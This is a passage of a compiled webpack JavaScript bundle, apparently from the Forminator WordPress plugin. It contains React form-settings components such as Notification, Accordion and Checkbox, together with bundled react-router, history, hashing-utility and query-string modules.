var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Notification = function (_Component) {
	_inherits(Notification, _Component);

	function Notification(props) {
		_classCallCheck(this, Notification);

		return _possibleConstructorReturn(this, (Notification.__proto__ || Object.getPrototypeOf(Notification)).call(this, props));
	}

	_createClass(Notification, [{
		key: 'initialize',
		value: function initialize() {
			if (!jQuery('.sui-floating-notices').length) {
				jQuery('main.sui-wrap').prepend('<div class="sui-floating-notices"></div>');
			}

			if (!jQuery('#forminator-notification').length) {
				jQuery('.sui-floating-notices').append('<div role="alert" id="forminator-notification" class="sui-notice" aria-live="assertive"></div>');
			} else {
				jQuery('#forminator-notification').remove();
				this.initialize();
			}

			this.$notification = jQuery('#forminator-notification');
		}
	}, {
		key: 'open',
		value: function open() {
			this.initialize();

			var noticeId = 'forminator-notification';
			var noticeMessage = '<p>' + this.props.text + '</p>';
			var noticeOptions = {
				type: this.props.type || 'default',
				autoclose: {
					timeout: this.props.time || 5000
				},
				dismiss: {
					show: this.props.dismiss || false
				}
			};

			SUI.openNotice(noticeId, noticeMessage, noticeOptions);
		}
	}, {
		key: 'close',
		value: function close() {
			var noticeId = 'forminator-notification';
			SUI.closeNotice(noticeId);
		}
	}]);

	return Notification;
}(_react.Component);

exports.default = Notification;

/***/ }),
/* 31 */,
/* 32 */,
/* 33 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright 2014-2015, Facebook, Inc.
 * All rights reserved.
 *
 * This source code is licensed under the BSD-style license found in the
 * LICENSE file in the root directory of this source tree. An additional grant
 * of patent rights can be found in the PATENTS file in the same directory.
 */



/**
 * Similar to invariant but only logs a warning if the condition is not met.
 * This can be used to log issues in development environments in critical
 * paths. Removing the logging code for production environments will keep the
 * same logic and follow the same code paths.
 */

var warning = function() {};

if (process.env.NODE_ENV !== 'production') {
  warning = function(condition, format, args) {
    var len = arguments.length;
    args = new Array(len > 2 ? len - 2 : 0);
    for (var key = 2; key < len; key++) {
      args[key - 2] = arguments[key];
    }
    if (format === undefined) {
      throw new Error(
        '`warning(condition, format, ...args)` requires a warning ' +
        'message argument'
      );
    }

    if (format.length < 10 || (/^[s\W]*$/).test(format)) {
      throw new Error(
        'The warning format should be able to uniquely identify this ' +
        'warning. Please, use a more descriptive format than: ' + format
      );
    }

    if (!condition) {
      var argIndex = 0;
      var message = 'Warning: ' +
        format.replace(/%s/g, function() {
          return args[argIndex++];
        });
      if (typeof console !== 'undefined') {
        console.error(message);
      }
      try {
        // This error was thrown as a convenience so that you can use this stack
        // to find the callsite that caused this warning to fire.
        throw new Error(message);
      } catch(x) {}
    }
  };
}

module.exports = warning;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 34 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return createLocation; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return locationsAreEqual; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_resolve_pathname__ = __webpack_require__(141);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_value_equal__ = __webpack_require__(142);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__PathUtils__ = __webpack_require__(28);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };





var createLocation = function createLocation(path, state, key, currentLocation) {
  var location = void 0;
  if (typeof path === 'string') {
    // Two-arg form: push(path, state)
    location = Object(__WEBPACK_IMPORTED_MODULE_2__PathUtils__["d" /* parsePath */])(path);
    location.state = state;
  } else {
    // One-arg form: push(location)
    location = _extends({}, path);

    if (location.pathname === undefined) location.pathname = '';

    if (location.search) {
      if (location.search.charAt(0) !== '?') location.search = '?' + location.search;
    } else {
      location.search = '';
    }

    if (location.hash) {
      if (location.hash.charAt(0) !== '#') location.hash = '#' + location.hash;
    } else {
      location.hash = '';
    }

    if (state !== undefined && location.state === undefined) location.state = state;
  }

  try {
    location.pathname = decodeURI(location.pathname);
  } catch (e) {
    if (e instanceof URIError) {
      throw new URIError('Pathname "' + location.pathname + '" could not be decoded. ' + 'This is likely caused by an invalid percent-encoding.');
    } else {
      throw e;
    }
  }

  if (key) location.key = key;

  if (currentLocation) {
    // Resolve incomplete/relative pathname relative to current location.
    if (!location.pathname) {
      location.pathname = currentLocation.pathname;
    } else if (location.pathname.charAt(0) !== '/') {
      location.pathname = Object(__WEBPACK_IMPORTED_MODULE_0_resolve_pathname__["a" /* default */])(location.pathname, currentLocation.pathname);
    }
  } else {
    // When there is no prior location and pathname is empty, set it to /
    if (!location.pathname) {
      location.pathname = '/';
    }
  }

  return location;
};

var locationsAreEqual = function locationsAreEqual(a, b) {
  return a.pathname === b.pathname && a.search === b.search && a.hash === b.hash && a.key === b.key && Object(__WEBPACK_IMPORTED_MODULE_1_value_equal__["a" /* default */])(a.state, b.state);
};

/***/ }),
/* 35 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Accordion = function (_Component) {
	_inherits(Accordion, _Component);

	function Accordion(props) {
		_classCallCheck(this, Accordion);

		var _this = _possibleConstructorReturn(this, (Accordion.__proto__ || Object.getPrototypeOf(Accordion)).call(this, props));

		_this.state = {
			open: props.expanded || false
		};

		_this.toggleState = _this.toggleState.bind(_this);
		return _this;
	}

	_createClass(Accordion, [{
		key: 'toggleState',
		value: function toggleState() {
			this.setState({
				open: !this.state.open
			});
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var label = this.props.label;
			var open = this.state.open;

			var divClass = '';

			if (open) {
				divClass = 'sui-accordion-item--open';
			}

			// eslint-disable-next-line max-len
			var boxedContent = !_.isUndefined(this.props.boxedContent) && '' !== this.props.boxedContent ? this.props.boxedContent : true;

			var defaultContentRender = !_.isUndefined(this.props.defaultContentRender) ? this.props.defaultContentRender : false;

			var accordionContents = _react2.default.Children.map(this.props.children, function (tab) {
				return tab;
			});

			// It's intentionally we use span here to avoid unwanted handlers from SUI on div.sui-accordion-item-header.
			return _react2.default.createElement(
				'div',
				{ className: 'sui-accordion-item ' + divClass },
				_react2.default.createElement(
					'span',
					{ className: 'sui-accordion-item-header', onClick: function onClick() {
							return _this2.toggleState();
						} },
					_react2.default.createElement(
						'div',
						{ className: 'sui-accordion-item-title' },
						_react2.default.createElement(
							'span',
							null,
							label
						),
						_react2.default.createElement(
							'button',
							{
								className: 'sui-button-icon sui-accordion-open-indicator',
								onClick: function onClick() {
									return _this2.toggleState();
								}
							},
							_react2.default.createElement('i', { className: 'sui-icon-chevron-down', 'aria-hidden': 'true' }),
							_react2.default.createElement(
								'span',
								{ className: 'sui-screen-reader-text' },
								false === this.state.open ? 'Open' : 'Close'
							)
						)
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-accordion-item-body' },
					false === boxedContent ? (defaultContentRender || open) && accordionContents : _react2.default.createElement(
						'div',
						{ className: 'sui-box' },
						_react2.default.createElement(
							'div',
							{ className: 'sui-box-body' },
							(defaultContentRender || open) && accordionContents
						),
						boxedContent
					)
				)
			);
		}
	}]);

	return Accordion;
}(_react.Component);

exports.default = Accordion;

/***/ }),
/* 36 */,
/* 37 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var assert = __webpack_require__(54);
var inherits = __webpack_require__(55);

exports.inherits = inherits;

function toArray(msg, enc) {
  if (Array.isArray(msg))
    return msg.slice();
  if (!msg)
    return [];
  var res = [];
  if (typeof msg === 'string') {
    if (!enc) {
      for (var i = 0; i < msg.length; i++) {
        var c = msg.charCodeAt(i);
        var hi = c >> 8;
        var lo = c & 0xff;
        if (hi)
          res.push(hi, lo);
        else
          res.push(lo);
      }
    } else if (enc === 'hex') {
      msg = msg.replace(/[^a-z0-9]+/ig, '');
      if (msg.length % 2 !== 0)
        msg = '0' + msg;
      for (i = 0; i < msg.length; i += 2)
        res.push(parseInt(msg[i] + msg[i + 1], 16));
    }
  } else {
    for (i = 0; i < msg.length; i++)
      res[i] = msg[i] | 0;
  }
  return res;
}
exports.toArray = toArray;

function toHex(msg) {
  var res = '';
  for (var i = 0; i < msg.length; i++)
    res += zero2(msg[i].toString(16));
  return res;
}
exports.toHex = toHex;

function htonl(w) {
  var res = (w >>> 24) |
            ((w >>> 8) & 0xff00) |
            ((w << 8) & 0xff0000) |
            ((w & 0xff) << 24);
  return res >>> 0;
}
exports.htonl = htonl;

function toHex32(msg, endian) {
  var res = '';
  for (var i = 0; i < msg.length; i++) {
    var w = msg[i];
    if (endian === 'little')
      w = htonl(w);
    res += zero8(w.toString(16));
  }
  return res;
}
exports.toHex32 = toHex32;

function zero2(word) {
  if (word.length === 1)
    return '0' + word;
  else
    return word;
}
exports.zero2 = zero2;

function zero8(word) {
  if (word.length === 7)
    return '0' + word;
  else if (word.length === 6)
    return '00' + word;
  else if (word.length === 5)
    return '000' + word;
  else if (word.length === 4)
    return '0000' + word;
  else if (word.length === 3)
    return '00000' + word;
  else if (word.length === 2)
    return '000000' + word;
  else if (word.length === 1)
    return '0000000' + word;
  else
    return word;
}
exports.zero8 = zero8;

function join32(msg, start, end, endian) {
  var len = end - start;
  assert(len % 4 === 0);
  var res = new Array(len / 4);
  for (var i = 0, k = start; i < res.length; i++, k += 4) {
    var w;
    if (endian === 'big')
      w = (msg[k] << 24) | (msg[k + 1] << 16) | (msg[k + 2] << 8) | msg[k + 3];
    else
      w = (msg[k + 3] << 24) | (msg[k + 2] << 16) | (msg[k + 1] << 8) | msg[k];
    res[i] = w >>> 0;
  }
  return res;
}
exports.join32 = join32;

function split32(msg, endian) {
  var res = new Array(msg.length * 4);
  for (var i = 0, k = 0; i < msg.length; i++, k += 4) {
    var m = msg[i];
    if (endian === 'big') {
      res[k] = m >>> 24;
      res[k + 1] = (m >>> 16) & 0xff;
      res[k + 2] = (m >>> 8) & 0xff;
      res[k + 3] = m & 0xff;
    } else {
      res[k + 3] = m >>> 24;
      res[k + 2] = (m >>> 16) & 0xff;
      res[k + 1] = (m >>> 8) & 0xff;
      res[k] = m & 0xff;
    }
  }
  return res;
}
exports.split32 = split32;

function rotr32(w, b) {
  return (w >>> b) | (w << (32 - b));
}
exports.rotr32 = rotr32;

function rotl32(w, b) {
  return (w << b) | (w >>> (32 - b));
}
exports.rotl32 = rotl32;

function sum32(a, b) {
  return (a + b) >>> 0;
}
exports.sum32 = sum32;

function sum32_3(a, b, c) {
  return (a + b + c) >>> 0;
}
exports.sum32_3 = sum32_3;

function sum32_4(a, b, c, d) {
  return (a + b + c + d) >>> 0;
}
exports.sum32_4 = sum32_4;

function sum32_5(a, b, c, d, e) {
  return (a + b + c + d + e) >>> 0;
}
exports.sum32_5 = sum32_5;

function sum64(buf, pos, ah, al) {
  var bh = buf[pos];
  var bl = buf[pos + 1];

  var lo = (al + bl) >>> 0;
  var hi = (lo < al ? 1 : 0) + ah + bh;
  buf[pos] = hi >>> 0;
  buf[pos + 1] = lo;
}
exports.sum64 = sum64;

function sum64_hi(ah, al, bh, bl) {
  var lo = (al + bl) >>> 0;
  var hi = (lo < al ? 1 : 0) + ah + bh;
  return hi >>> 0;
}
exports.sum64_hi = sum64_hi;

function sum64_lo(ah, al, bh, bl) {
  var lo = al + bl;
  return lo >>> 0;
}
exports.sum64_lo = sum64_lo;

function sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) {
  var carry = 0;
  var lo = al;
  lo = (lo + bl) >>> 0;
  carry += lo < al ? 1 : 0;
  lo = (lo + cl) >>> 0;
  carry += lo < cl ? 1 : 0;
  lo = (lo + dl) >>> 0;
  carry += lo < dl ? 1 : 0;

  var hi = ah + bh + ch + dh + carry;
  return hi >>> 0;
}
exports.sum64_4_hi = sum64_4_hi;

function sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) {
  var lo = al + bl + cl + dl;
  return lo >>> 0;
}
exports.sum64_4_lo = sum64_4_lo;

function sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {
  var carry = 0;
  var lo = al;
  lo = (lo + bl) >>> 0;
  carry += lo < al ? 1 : 0;
  lo = (lo + cl) >>> 0;
  carry += lo < cl ? 1 : 0;
  lo = (lo + dl) >>> 0;
  carry += lo < dl ? 1 : 0;
  lo = (lo + el) >>> 0;
  carry += lo < el ? 1 : 0;

  var hi = ah + bh + ch + dh + eh + carry;
  return hi >>> 0;
}
exports.sum64_5_hi = sum64_5_hi;

function sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) {
  var lo = al + bl + cl + dl + el;

  return lo >>> 0;
}
exports.sum64_5_lo = sum64_5_lo;

function rotr64_hi(ah, al, num) {
  var r = (al << (32 - num)) | (ah >>> num);
  return r >>> 0;
}
exports.rotr64_hi = rotr64_hi;

function rotr64_lo(ah, al, num) {
  var r = (ah << (32 - num)) | (al >>> num);
  return r >>> 0;
}
exports.rotr64_lo = rotr64_lo;

function shr64_hi(ah, al, num) {
  return ah >>> num;
}
exports.shr64_hi = shr64_hi;

function shr64_lo(ah, al, num) {
  var r = (ah << (32 - num)) | (al >>> num);
  return r >>> 0;
}
exports.shr64_lo = shr64_lo;


/***/ }),
/* 38 */,
/* 39 */
/***/ (function(module, exports, __webpack_require__) {

module.exports = __webpack_require__(162);

/***/ }),
/* 40 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


var stringify = __webpack_require__(180);
var parse = __webpack_require__(181);
var formats = __webpack_require__(86);

module.exports = {
    formats: formats,
    parse: parse,
    stringify: stringify
};


/***/ }),
/* 41 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var Checkbox = function (_Component) {
	_inherits(Checkbox, _Component);

	function Checkbox(props) {
		_classCallCheck(this, Checkbox);

		var _this = _possibleConstructorReturn(this, (Checkbox.__proto__ || Object.getPrototypeOf(Checkbox)).call(this, props));

		_this.updateValue = _this.updateValue.bind(_this);
		return _this;
	}

	_createClass(Checkbox, [{
		key: 'updateValue',
		value: function updateValue(value) {
			// Check if we're on field settings
			if (typeof this.props.updateProperty === 'function') {
				// Update field state
				this.props.updateProperty(this.props.property, value);
			} else {
				// Update store
				this.props.actions.settingsActions.updateSetting(this.props.property, value);
			}
		}
	}, {
		key: 'render',
		value: function render() {
			var _this2 = this;

			var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];

			var fieldId = _.isUndefined(this.props.fieldId) ? this.props.property : this.props.fieldId;

			var disabled = !_.isUndefined(this.props.disabled) && this.props.disabled ? true : false;

			var extraClass = '';

			if (this.props.itemClass && '' !== this.props.itemClass) {
				extraClass = ' ' + this.props.itemClass;
			}

			return _react2.default.createElement(
				'label',
				{
					htmlFor: 'forminator-field-' + fieldId,
					className: 'sui-checkbox' + extraClass
				},
				_react2.default.createElement('input', {
					type: 'checkbox',
					id: 'forminator-field-' + fieldId,
					value: 'true',
					checked: value ? 'checked' : '',
					disabled: disabled,
					onChange: function onChange(e) {
						_this2.updateValue(e.target.checked);
					}
				}),
				_react2.default.createElement('span', { 'aria-hidden': 'true' }),
				this.props.label && _react2.default.createElement(
					'span',
					null,
					this.props.label,
					!_.isUndefined(this.props.tooltip) && '' !== this.props.tooltip && _react2.default.createElement(
						'span',
						{
							className: 'sui-tooltip sui-tooltip-constrained',
							style: {
								marginLeft: 10,
								verticalAlign: 'middle',
								'--tooltip-width': '165px'
							},
							'data-tooltip': this.props.tooltip
						},
						_react2.default.createElement('span', {
							className: 'sui-icon-info',
							'aria-hidden': 'true',
							style: { pointerEvents: 'none' }
						})
					)
				)
			);
		}
	}]);

	return Checkbox;
}(_react.Component);

exports.default = Checkbox;

/***/ }),
/* 42 */
/***/ (function(module, exports) {

var g;

// This works in non-strict mode
g = (function() {
	return this;
})();

try {
	// This works if eval is allowed (see CSP)
	g = g || Function("return this")() || (1,eval)("this");
} catch(e) {
	// This works if the window reference is available
	if(typeof window === "object")
		g = window;
}

// g can still be undefined, but nothing to do about it...
// We return undefined, instead of nothing here, so it's
// easier to handle this case. if(!global) { ...}

module.exports = g;


/***/ }),
/* 43 */,
/* 44 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';

module.exports = ReactPropTypesSecret;


/***/ }),
/* 45 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = warning;
/**
 * Prints a warning in the console if it exists.
 *
 * @param {String} message The warning message.
 * @returns {void}
 */
function warning(message) {
  /* eslint-disable no-console */
  if (typeof console !== 'undefined' && typeof console.error === 'function') {
    console.error(message);
  }
  /* eslint-enable no-console */
  try {
    // This error was thrown as a convenience so that if you enable
    // "break on all exceptions" in your console,
    // it would pause the execution at this line.
    throw new Error(message);
    /* eslint-disable no-empty */
  } catch (e) {}
  /* eslint-enable no-empty */
}

/***/ }),
/* 46 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);


var createTransitionManager = function createTransitionManager() {
  var prompt = null;

  var setPrompt = function setPrompt(nextPrompt) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(prompt == null, 'A history supports only one prompt at a time');

    prompt = nextPrompt;

    return function () {
      if (prompt === nextPrompt) prompt = null;
    };
  };

  var confirmTransitionTo = function confirmTransitionTo(location, action, getUserConfirmation, callback) {
    // TODO: If another transition starts while we're still confirming
    // the previous one, we may end up in a weird state. Figure out the
    // best way to handle this.
    if (prompt != null) {
      var result = typeof prompt === 'function' ? prompt(location, action) : prompt;

      if (typeof result === 'string') {
        if (typeof getUserConfirmation === 'function') {
          getUserConfirmation(result, callback);
        } else {
          __WEBPACK_IMPORTED_MODULE_0_warning___default()(false, 'A history needs a getUserConfirmation function in order to use a prompt message');

          callback(true);
        }
      } else {
        // Return false from a transition hook to cancel the transition.
        callback(result !== false);
      }
    } else {
      callback(true);
    }
  };

  var listeners = [];

  var appendListener = function appendListener(fn) {
    var isActive = true;

    var listener = function listener() {
      if (isActive) fn.apply(undefined, arguments);
    };

    listeners.push(listener);

    return function () {
      isActive = false;
      listeners = listeners.filter(function (item) {
        return item !== listener;
      });
    };
  };

  var notifyListeners = function notifyListeners() {
    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    listeners.forEach(function (listener) {
      return listener.apply(undefined, args);
    });
  };

  return {
    setPrompt: setPrompt,
    confirmTransitionTo: confirmTransitionTo,
    appendListener: appendListener,
    notifyListeners: notifyListeners
  };
};

/* harmony default export */ __webpack_exports__["a"] = (createTransitionManager);

/***/ }),
/* 47 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Router__ = __webpack_require__(48);
// Written in this round about way for babel-transform-imports


/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Router__["a" /* default */]);

/***/ }),
/* 48 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_prop_types__);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }






/**
 * The public API for putting history on context.
 */

var Router = function (_React$Component) {
  _inherits(Router, _React$Component);

  function Router() {
    var _temp, _this, _ret;

    _classCallCheck(this, Router);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {
      match: _this.computeMatch(_this.props.history.location.pathname)
    }, _temp), _possibleConstructorReturn(_this, _ret);
  }

  Router.prototype.getChildContext = function getChildContext() {
    return {
      router: _extends({}, this.context.router, {
        history: this.props.history,
        route: {
          location: this.props.history.location,
          match: this.state.match
        }
      })
    };
  };

  Router.prototype.computeMatch = function computeMatch(pathname) {
    return {
      path: "/",
      url: "/",
      params: {},
      isExact: pathname === "/"
    };
  };

  Router.prototype.componentWillMount = function componentWillMount() {
    var _this2 = this;

    var _props = this.props,
        children = _props.children,
        history = _props.history;


    __WEBPACK_IMPORTED_MODULE_1_invariant___default()(children == null || __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.count(children) === 1, "A <Router> may have only one child element");

    // Do this here so we can setState when a <Redirect> changes the
    // location in componentWillMount. This happens e.g. when doing
    // server rendering using a <StaticRouter>.
    this.unlisten = history.listen(function () {
      _this2.setState({
        match: _this2.computeMatch(history.location.pathname)
      });
    });
  };

  Router.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
    __WEBPACK_IMPORTED_MODULE_0_warning___default()(this.props.history === nextProps.history, "You cannot change <Router history>");
  };

  Router.prototype.componentWillUnmount = function componentWillUnmount() {
    this.unlisten();
  };

  Router.prototype.render = function render() {
    var children = this.props.children;

    return children ? __WEBPACK_IMPORTED_MODULE_2_react___default.a.Children.only(children) : null;
  };

  return Router;
}(__WEBPACK_IMPORTED_MODULE_2_react___default.a.Component);

Router.propTypes = {
  history: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
  children: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.node
};
Router.contextTypes = {
  router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object
};
Router.childContextTypes = {
  router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired
};


/* harmony default export */ __webpack_exports__["a"] = (Router);

/***/ }),
/* 49 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp__ = __webpack_require__(78);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_path_to_regexp__);


var patternCache = {};
var cacheLimit = 10000;
var cacheCount = 0;

var compilePath = function compilePath(pattern, options) {
  var cacheKey = "" + options.end + options.strict + options.sensitive;
  var cache = patternCache[cacheKey] || (patternCache[cacheKey] = {});

  if (cache[pattern]) return cache[pattern];

  var keys = [];
  var re = __WEBPACK_IMPORTED_MODULE_0_path_to_regexp___default()(pattern, keys, options);
  var compiledPattern = { re: re, keys: keys };

  if (cacheCount < cacheLimit) {
    cache[pattern] = compiledPattern;
    cacheCount++;
  }

  return compiledPattern;
};

/**
 * Public API for matching a URL pathname to a path pattern.
 */
var matchPath = function matchPath(pathname) {
  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
  var parent = arguments[2];

  if (typeof options === "string") options = { path: options };

  var _options = options,
      path = _options.path,
      _options$exact = _options.exact,
      exact = _options$exact === undefined ? false : _options$exact,
      _options$strict = _options.strict,
      strict = _options$strict === undefined ? false : _options$strict,
      _options$sensitive = _options.sensitive,
      sensitive = _options$sensitive === undefined ? false : _options$sensitive;


  if (path == null) return parent;

  var _compilePath = compilePath(path, { end: exact, strict: strict, sensitive: sensitive }),
      re = _compilePath.re,
      keys = _compilePath.keys;

  var match = re.exec(pathname);

  if (!match) return null;

  var url = match[0],
      values = match.slice(1);

  var isExact = pathname === url;

  if (exact && !isExact) return null;

  return {
    path: path, // the path pattern used to match
    url: path === "/" && url === "" ? "/" : url, // the matched portion of the URL
    isExact: isExact, // whether or not we matched exactly
    params: keys.reduce(function (memo, key, index) {
      memo[key.name] = values[index];
      return memo;
    }, {})
  };
};

/* harmony default export */ __webpack_exports__["a"] = (matchPath);

/***/ }),
/* 50 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {

var utils = __webpack_require__(14);
var normalizeHeaderName = __webpack_require__(165);

var DEFAULT_CONTENT_TYPE = {
  'Content-Type': 'application/x-www-form-urlencoded'
};

function setContentTypeIfUnset(headers, value) {
